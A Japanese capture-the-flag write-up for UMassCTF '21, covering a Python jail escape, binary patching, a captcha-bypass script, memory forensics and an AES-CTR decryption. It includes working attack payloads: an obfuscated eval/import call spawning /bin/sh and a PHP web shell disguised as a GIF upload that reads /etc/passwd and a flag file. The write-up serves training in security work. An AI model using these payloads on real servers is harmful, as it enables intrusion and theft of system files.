この大会は2021/3/27 7:00(JST)~2021/3/29 7:00(JST)に開催されました。
今回もチームで参戦。結果は3212点で660チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord (misc)
Discordに入り、#welcomeチャネルで鍵アイコンをクリックすると、いろんなチャネルが現れる。#generalチャネルのトピックにフラグが書いてあった。
UMASS{discord_is_better_than_irc_change_my_mind}
ekrpat (misc)
$ nc 34.72.64.224 8083 Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv >>>
https://uncyclopedia.ca/wiki/Ekrpatを参考に置換する。
C = 'axje.uidchtnmbrl\'poygk,qf;s-wvzAXJE>UIDCHTNMBRL"POYGK<QF:S_WVZ! ' P = 'abcdefghijklmnopqrstuvwxyz;\',./ABCDEFGHIJKLMNOPQRSTUVWXYZ:"<>?! ' ct = 'Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv' msg = ''.join(P[C.index(c)] for c in ct) print msg
置換の結果、以下のようになり、pyjailの問題になっているようだ。
You've broken my code! Escape without the help of eval, exec, import, open, os, read, system, and write. First, enter 'dvorak'. You will then get another input which you can use try to break out of the jail.
eval, exec, import, open, os, read, system, writeを使わずに何とかフラグを取得する。
$ nc 34.72.64.224 8083 Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv >>> dvorak >>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")') id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) ls Dockerfile ekrpat.py flag ojal. ynetd cat flag UMASS{dvorak_rules}
UMASS{dvorak_rules}
easteregg (rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; undefined8 uVar2; long lVar3; long in_FS_OFFSET; int local_194; char *local_188; char *local_180; long local_178; undefined8 local_170; int local_168; long local_158 [8]; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); iVar1 = initialize_rooms(local_158); if (iVar1 == -1) { fwrite("Failed to initialize rooms!\n",1,0x1c,stderr); uVar2 = 1; } else { local_188 = (char *)0x0; local_180 = (char *)0x0; local_178 = local_158[0]; local_170 = 0; local_168 = 0; puts( "Welcome to Strong Bad\'s Cool Game for Attractive People Episode 6 - Dangeresque 4: TheCriminally-Dull Projective!" ); puts("Okay, you\'re Dangeresque. Nobody do anything... Dangeresque!"); putchar(10); puts("\"Man. That warehaus was full of action and suspense.\""); puts("\"Dangeresque! You\'re outta line!\""); puts("\"Oh crap! It\'s the chief! I was supposed to solve a case for him months ago.\""); puts("\"Better try and \'solve\' his case quick.\"\n"); describe_room(local_178); do { printf("a> "); fflush(stdout); fgets(local_118,0x100,stdin); iVar1 = parse_input(local_118,&local_188,&local_188); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(1); } iVar1 = strcmp(local_188,"look"); if (iVar1 == 0) { describe_room(); } else { iVar1 = strcmp(local_188,"inventory"); if (iVar1 == 0) { describe_inventory(); } else { iVar1 = strcmp(local_188,"go"); if (iVar1 == 0) { if (local_180 == (char *)0x0) { puts("Gotta be more specific than that, bud!"); } else { iVar1 = strcmp(local_180,"north"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x20) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x20); describe_room(); } } else { iVar1 = strcmp(local_180,"south"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x28) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x28); describe_room(); } } else { iVar1 = strcmp(local_180,"east"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x30) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x30); describe_room(); } } else { iVar1 = strcmp(local_180,"west"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x38) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x38); describe_room(); } } else { iVar1 = strcmp(local_180,"up"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x40) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x40); describe_room(); } } else { iVar1 = strcmp(local_180,"down"); if (iVar1 == 0) { if (*(long *)(local_178 + 0x48) == 0) { puts("Can\'t go that way!"); } else { local_178 = *(long *)(local_178 + 0x48); describe_room(); } } else { printf("Where the hell is a \"%s\"?\n",local_180); } } } } } } } } else { iVar1 = strcmp(local_188,"take"); if (iVar1 == 0) { lVar3 = take_item(local_178,local_180,local_180); if (lVar3 == 0) { printf("There\'s no \"%s\" here!\n",local_180); } else { printf("Got the %s!\n",local_180); add_to_inventory(&local_178,lVar3,lVar3); } } else { iVar1 = strcmp(local_188,"drop"); if (iVar1 == 0) { lVar3 = remove_from_inventory(&local_178,local_180,local_180); if (lVar3 == 0) { printf("I ain\'t got no \"%s\"!\n",local_180); } else { printf("Dropped the %s!\n",local_180); insert_item(local_178,lVar3,lVar3); } } else { iVar1 = strcmp(local_188,"use"); if (iVar1 == 0) { use_item(&local_178,local_180,local_180); } else { iVar1 = strcmp(local_188,"jhiezetfmvirlnjfbobk"); if (iVar1 == 0) { JHIEZETFMVIRLNJFBOBK = 1; } else { printf("I don\'t know how to \"%s\"\n",local_188); } } } } } } } } while (local_168 == 0); if (JHIEZETFMVIRLNJFBOBK != 0) { local_194 = 0; while (local_194 < 0x23) { putchar((int)(char)(LHEIBZNXEKQSAPHHUWTQ[local_194] ^ COJASZQHPZXKLAPHRHOK[local_194])); local_194 = local_194 + 1; } putchar(10); } if (local_188 != (char *)0x0) { free(local_188); } if (local_180 != (char *)0x0) { free(local_180); } free_rooms(local_158); uVar2 = 0; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; }
local_168を0以外にしないと、後半のフラグを表示していると推測できるコードを通らない。アセンブリで以下になっているところをバイナリで編集する。
00101c11 c7 85 a0 MOV dword ptr [RBP + local_168],0x0 fe ff ff 00 00 00 00 ↓ 00101c11 c7 85 a0 MOV dword ptr [RBP + local_168],0x1 fe ff ff 01 00 00 00
$ ./adventure_mod Welcome to Strong Bad's Cool Game for Attractive People Episode 6 - Dangeresque 4: The Criminally-Dull Projective! Okay, you're Dangeresque. Nobody do anything... Dangeresque! "Man. That warehaus was full of action and suspense." "Dangeresque! You're outta line!" "Oh crap! It's the chief! I was supposed to solve a case for him months ago." "Better try and 'solve' his case quick." You are in Dangeresque's Office. This is where the magic happens! To the west is Agency Lobby. There are a few things here: - room-temperature coffee - month-old chinese food - the swissblonkel scenario local_168 = 0; a> jhiezetfmvirlnjfbobk UMASS{m0m_100k_i_can_r3ad_ass3mb1y}
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}
Hermit - Part 1 (web)
Webページでは画像をアップロードできる。exploit.php.gifに以下を記載し、アップロードしてみる。
GIF87a <?php var_dump( exec('ls', $out, $ret) ); print_r( $out ); var_dump( $ret ); ?>
その結果、以下が返ってきた。
GIF87a string(7) "uploads" Array ( [0] => index.php [1] => resources [2] => show.php [3] => upload.php [4] => uploads ) int(0)
コマンドが実行できている。コマンドを変えて、再度アップロードしてみる。
GIF87a <?php var_dump( exec('cat /etc/passwd', $out, $ret) ); print_r( $out ); var_dump( $ret ); ?>
この場合は、以下の結果になった。
GIF87a string(40) "hermit:x:1000:1000::/home/hermit:/bin/sh" Array ( [0] => root:x:0:0:root:/root:/bin/bash [1] => daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [2] => bin:x:2:2:bin:/bin:/usr/sbin/nologin [3] => sys:x:3:3:sys:/dev:/usr/sbin/nologin [4] => sync:x:4:65534:sync:/bin:/bin/sync [5] => games:x:5:60:games:/usr/games:/usr/sbin/nologin [6] => man:x:6:12:man:/var/cache/man:/usr/sbin/nologin [7] => lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin [8] => mail:x:8:8:mail:/var/mail:/usr/sbin/nologin [9] => news:x:9:9:news:/var/spool/news:/usr/sbin/nologin [10] => uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin [11] => proxy:x:13:13:proxy:/bin:/usr/sbin/nologin [12] => www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin [13] => backup:x:34:34:backup:/var/backups:/usr/sbin/nologin [14] => list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin [15] => irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin [16] => gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin [17] => nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin [18] => _apt:x:100:65534::/nonexistent:/usr/sbin/nologin [19] => systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin [20] => systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin [21] => systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin [22] => messagebus:x:104:106::/nonexistent:/usr/sbin/nologin [23] => sshd:x:105:65534::/run/sshd:/usr/sbin/nologin [24] => hermit:x:1000:1000::/home/hermit:/bin/sh ) int(0)
/home/hermitの配下を見てみる。
GIF87a <?php var_dump( exec('ls /home/hermit', $out, $ret) ); print_r( $out ); var_dump( $ret ); ?>
GIF87a string(12) "userflag.txt" Array ( [0] => userflag.txt ) int(0)
/home/hermit/userflag.txtを見る。
GIF87a <?php var_dump( exec('cat /home/hermit/userflag.txt', $out, $ret) ); print_r( $out ); var_dump( $ret ); ?>
GIF87a string(41) "UMASS{a_picture_paints_a_thousand_shells}" Array ( [0] => UMASS{a_picture_paints_a_thousand_shells} ) int(0)
UMASS{a_picture_paints_a_thousand_shells}
PikCha (web)
Pikachuのキャラクター4体?何を答えればよいのかわからないので、とりあえずCookieを見てみる。
Cookieのsessionにはこう書いてある。
eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ.YF55Gg.amSnkfwW4jKEcLnAcuOU4kBJc78
$ echo eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ== | base64 -d {"answer":[53,107,35,100],"correct":1,"image":"./static/chall-images/dhpObxgPeC.jpg"}
53,107,35,100をスペース区切りで指定すれば、正解としてカウントされた。これを元にスクリプトにして実行する。
import requests def get_answer(s): data = s.split('.')[0] while True: if len(data) % 4 == 0: break data += '=' data = data.decode('base64') answer = map(str, eval(data)['answer']) answer = ' '.join(answer) return answer url = 'http://104.197.195.221:8084/' s = requests.Session() for i in range(501): if i == 0: r = s.get(url) else: r = s.post(url, data=payload) body = r.text print body if i == 500: break session = r.cookies['session'] answer = get_answer(session) print answer payload = {'guess': answer}
実行結果は以下の通り。
: <!doctype html> <title>UMassCTF '21 - PikaCha</title> <link rel="stylesheet" href="/static/style.css"> <nav> </nav> <section class="content center"> <header> </header> <h1 class="text">PikCha</h1> <img src="./static/chall-images/oyBrbSOlnO.jpg" /> <p> 498 / 500 </p> <form method='post' action='/'> <input type="text" id="guess" name="guess"> <input type="submit" value="Submit"> </form> </section> 49 54 27 99 <!doctype html> <title>UMassCTF '21 - PikaCha</title> <link rel="stylesheet" href="/static/style.css"> <nav> </nav> <section class="content center"> <header> </header> <h1 class="text">PikCha</h1> <img src="./static/chall-images/iIziAdeZYY.jpg" /> <p> 499 / 500 </p> <form method='post' action='/'> <input type="text" id="guess" name="guess"> <input type="submit" value="Submit"> </form> </section> 78 11 142 28 UMASS{G0tt4_c4tch_th3m_4ll_17263548}
UMASS{G0tt4_c4tch_th3m_4ll_17263548}
notes (forensics)
$ volatility -f image.mem imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/image.mem) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002a3b0a0L Number of Processors : 6 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002a3cd00L KPCR for CPU 1 : 0xfffff880009f1000L KPCR for CPU 2 : 0xfffff88002ea9000L KPCR for CPU 3 : 0xfffff88002f1f000L KPCR for CPU 4 : 0xfffff88002f95000L KPCR for CPU 5 : 0xfffff88002fcb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2021-03-20 18:16:12 UTC+0000 Image local date and time : 2021-03-20 13:16:12 -0500 $ volatility -f image.mem --profile=Win7SP1x64 pstree Volatility Foundation Volatility Framework 2.6 Name Pid PPid Thds Hnds Time -------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa80026287f0:csrss.exe 656 640 10 394 2021-03-20 18:57:49 UTC+0000 0xfffffa8001e6e7c0:wininit.exe 688 640 3 82 2021-03-20 18:57:49 UTC+0000 . 0xfffffa8001e497c0:lsm.exe 768 688 10 149 2021-03-20 18:57:49 UTC+0000 . 0xfffffa8001ff4b30:services.exe 744 688 8 205 2021-03-20 18:57:49 UTC+0000 .. 0xfffffa8002455b30:svchost.exe 1164 744 16 486 2021-03-20 17:57:51 UTC+0000 .. 0xfffffa80022ce680:VBoxService.ex 928 744 13 146 2021-03-20 18:57:49 UTC+0000 .. 0xfffffa800274eb30:WLIDSVC.EXE 1572 744 8 257 2021-03-20 17:57:52 UTC+0000 ... 0xfffffa8002cc7b30:WLIDSVCM.EXE 696 1572 3 58 2021-03-20 17:57:53 UTC+0000 .... 0xfffffa8000cae240:csrss.exe 708 696 10 249 2021-03-20 18:57:49 UTC+0000 .... 0xfffffa8002beb2e0:winlogon.exe 2004 696 3 116 2021-03-20 17:57:53 UTC+0000 .. 0xfffffa8001f974e0:svchost.exe 988 744 8 268 2021-03-20 17:57:51 UTC+0000 .. 0xfffffa80023e62d0:svchost.exe 736 744 17 458 2021-03-20 17:57:51 UTC+0000 ... 0xfffffa8002bbeb30:dwm.exe 2236 736 3 94 2021-03-20 17:57:54 UTC+0000 .. 0xfffffa8002f82590:mscorsvw.exe 1724 744 7 87 2021-03-20 17:59:53 UTC+0000 .. 0xfffffa800273d060:svchost.exe 1480 744 16 310 2021-03-20 17:57:52 UTC+0000 .. 0xfffffa8002623b30:spoolsv.exe 1356 744 12 311 2021-03-20 17:57:52 UTC+0000 .. 0xfffffa8000de7b30:mscorsvw.exe 2104 744 7 92 2021-03-20 17:59:53 UTC+0000 .. 0xfffffa8001e9d060:svchost.exe 604 744 20 476 2021-03-20 17:57:51 UTC+0000 .. 0xfffffa8002b7a910:SearchIndexer. 1888 744 14 673 2021-03-20 17:57:52 UTC+0000 ... 0xfffffa8002773090:SearchProtocol 3292 1888 8 284 2021-03-20 18:15:53 UTC+0000 ... 0xfffffa800213e4e0:SearchFilterHo 1740 1888 5 103 2021-03-20 18:15:53 UTC+0000 .. 0xfffffa8002195b30:svchost.exe 868 744 10 371 2021-03-20 18:57:49 UTC+0000 .. 0xfffffa8002da5060:taskhost.exe 2156 744 8 152 2021-03-20 17:57:53 UTC+0000 .. 0xfffffa8002605890:svchost.exe 1264 744 16 426 2021-03-20 17:57:52 UTC+0000 .. 0xfffffa8001f55890:svchost.exe 1384 744 17 317 2021-03-20 17:57:52 UTC+0000 .. 0xfffffa80023eab30:svchost.exe 980 744 27 791 2021-03-20 17:57:51 UTC+0000 .. 0xfffffa8002de2b30:wmpnetwk.exe 2736 744 9 219 2021-03-20 17:58:00 UTC+0000 . 0xfffffa80020ecb30:lsass.exe 760 688 9 564 2021-03-20 18:57:49 UTC+0000 0xfffffa8002818060:explorer.exe 2288 2216 27 898 2021-03-20 17:57:54 UTC+0000 . 0xfffffa8002e1db30:VBoxTray.exe 2432 2288 15 156 2021-03-20 17:57:54 UTC+0000 . 0xfffffa8000dd0060:notepad.exe 2696 2288 4 309 2021-03-20 17:59:34 UTC+0000 0xfffffa8000ca0040:System 4 0 173 526 2021-03-20 18:57:47 UTC+0000 . 0xfffffa8002232b30:smss.exe 572 4 3 34 2021-03-20 18:57:47 UTC+0000 0xfffffa80010cc460:FTK Imager.exe 1552 2708 17 429 2021-03-20 17:59:24 UTC+0000 $ volatility -f image.mem --profile=Win7SP1x64 filescan | grep password Volatility Foundation Volatility Framework 2.6 0x000000003fdccf20 16 0 RW-rw- \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt $ volatility -f image.mem --profile=Win7SP1x64 dumpfiles -D . -Q 0x000000003fdccf20 Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x3fdccf20 None \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt $ cat file.None.0xfffffa800104c4d0.dat VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== $ echo VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== | base64 -d UMASS{$3CUR3_$70Rag3}
UMASS{$3CUR3_$70Rag3}
malware (crypto)
各ファイルがAES-CTRモードで暗号化されている。ファイルごとに順にivが1ずつカウンターがアップしながら暗号化している。
1ブロックごとにXOR鍵がずれているだけなので、そのことを考慮して復号する。ファイルの順番がわからないので、適当にずらしながら、復号する。
from Crypto.Util.strxor import strxor with open('malware.py', 'rb') as f: pt = f.read() with open('malware.py.enc', 'rb') as f: ct = f.read() with open('flag.txt.enc', 'rb') as f: flag_enc = f.read() key = strxor(pt, ct) for i in range(1, 4): flag = strxor(key[16*i:16*i+len(flag_enc)], flag_enc) if flag.startswith('UMASS'): print flag break
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}